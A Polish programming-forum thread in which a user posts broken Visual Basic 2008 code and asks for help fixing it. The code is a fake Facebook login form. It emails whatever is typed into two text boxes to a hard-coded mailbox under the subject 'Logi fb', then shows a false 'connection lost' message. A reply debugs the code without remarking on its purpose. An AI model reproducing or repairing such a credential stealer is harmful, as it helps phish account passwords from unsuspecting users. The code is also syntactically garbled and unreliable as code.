[Pomocy]Kod w vb2008 co zle?

[V..I..P]

Mam mału kodzik aby po nacisnieciu button1 wysyłał tekst z 1 i 2 textboxa i czemu mi nie chce wysyłać?? czy to aby napewno dobry kod??

Jeżeli nie to podajcie jaki inny (:

Public Class Form1

   Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
       Close()
   End Sub

   Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged

       MsgBox("Pomylnie zapamiętano")

   End Sub

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim mailfrom As New Mail With Address("[email protected]")
           Dim mailto As New MailAddress("[email protected]"logi")
       Dim message As New MailMessage(mailfrom, mailto)
       Dim smtp As New SmtpClient("poczta.onet.pl")
       Dim zaloncznik As String
       zaloncznik = "nazwa załącznika - nieobowiązkowe"
       If File.Exists(zaloncznik) Then
           Dim data As New Attachment(zaloncznik)
           message.Attachments.Add(data)
       End If

       message.Subject = "Logi fb"


       message.BodyEncoding = System.Text.Encoding.UTF8
       message.Body = TextBox1.Text
       message.Body = TextBox2.Text
       smtp.Credentials = New NetworkCredential("[email protected]", "hasło_do_emaila")

       smtp.DeliveryMethod = SmtpDeliveryMethod.Network

       smtp.Send(message)

       MsgBox("Nie można zalogować sie na facebook utracono połączenie")

       Catch ex As SmtpException
           MsgBox(ex.Message)
       End Try
   End Sub
End Class

[V..I..P]

@ref no niech ktos pomoże pliska!!

[Symeg]

Debuggera nie nauczyli używać?

 

Masz tutaj błąd w wpisywaniu treści:

message.Body = TextBox1.Text
message.Body = TextBox2.Text

w wyniku czego mail ma tylko zawartość drugiego text boxa.

 

Masz "Catch" ale nigdzie nie widzę "Try".

 

Polecam jakiś porządny kurs vb.